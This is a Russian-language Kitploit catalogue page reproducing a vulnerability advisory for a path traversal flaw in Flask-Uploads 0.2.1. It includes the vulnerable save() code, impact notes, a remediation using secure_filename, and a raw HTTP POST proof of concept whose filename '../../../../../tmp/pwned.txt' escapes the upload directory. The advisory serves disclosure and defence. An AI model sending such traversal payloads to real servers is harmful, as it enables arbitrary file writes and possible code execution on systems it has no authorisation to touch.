Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC — Демонстрация path traversal CWE-22 в Flask-Uploads 0.2.1. Только для образовательных целей и исследований в области безопасности. Протестировано на Python 3.11. | Kitploit
Инструменты/GitHubGitHub/nicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubnicetop1027/cve-2026-pending-flask-uploads-path-traversal-poc

CVE-2026-Pending-Flask-Uploads-Path-Traversal-PoC

Демонстрация path traversal CWE-22 в Flask-Uploads 0.2.1. Только для образовательных целей и исследований в области безопасности. Протестировано на Python 3.11.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
7 месяцев назадЕщё не проверено

CVE-2026-XXXXX (Ожидается): Обход пути в Flask-Uploads

Информация об уязвимости

  • Продукт: Flask-Uploads
  • Версия: 0.2.1 (и, возможно, более старые версии)
  • Тип уязвимости: Обход пути (Directory Traversal)
  • CWE-ID: CWE-22
  • Серьезность: ВЫСОКИЙ (CVSS 7.5)
  • Воздействие: Произвольная запись файлов, удаленное выполнение кода (RCE)

Описание

Критическая уязвимость обхода пути существует в Flask-Uploads версии 0.2.1. Библиотека не выполняет надлежащую очистку имен загружаемых файлов перед сохранением их в файловую систему.

В частности, метод save() в flask_uploads.py напрямую объединяет путь для загрузки с именем файла, предоставленным пользователем, с помощью os.path.join(). Это позволяет атакующему включить последовательности обхода каталогов (например, ../../) в имя файла, что дает возможность записывать файлы в произвольные места в файловой системе сервера.

Анализ первопричины

Файл: flask_uploads.py (Строка 132 в v0.2.1)

root@kitploit:~
def save(self, storage, filename=None):
    if filename is None:
        filename = storage.filename
    # VULNERABLE CODE: No sanitization of 'filename'
    target = os.path.join(self.destination, filename)
    storage.save(target)
    return filename

Приложение полагается на разработчика, который должен очистить имя файла, но документация библиотеки подразумевает, что она безопасно обрабатывает загрузку файлов. По умолчанию, если разработчик передает необработанное имя файла из запроса, это приводит к уязвимости.

Воздействие

  1. Произвольная перезапись файлов: Атакующие могут перезаписать критически важные системные файлы (например, ssh_host_key, конфигурационные файлы).
  2. Удаленное выполнение кода (RCE): Загрузив вредоносный скрипт (например, .php, .py) в каталог, который выполняется веб-сервером (например, cgi-bin или известная статическая папка), атакующий может выполнять произвольные команды на сервере.

Подтверждение концепции (PoC)

Атакующий может воспользоваться этой уязвимостью, отправив POST-запрос с поддельным именем файла:

root@kitploit:~
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain

HACKED
------WebKitFormBoundary--

Если сервер использует Flask-Uploads для сохранения этого файла, он будет записан в /tmp/pwned.txt вместо предполагаемого каталога загрузки.

Смягчение / Исправление

Библиотека должна проверять, что объединенный путь находится в пределах предполагаемого каталога, используя os.path.abspath и startswith, или всегда применять функцию очистки, такую как werkzeug.utils.secure_filename.

Рекомендуемое исправление:

root@kitploit:~
from werkzeug.utils import secure_filename

# ...
filename = secure_filename(filename) 
target = os.path.join(self.destination, filename)
Скачать инструмент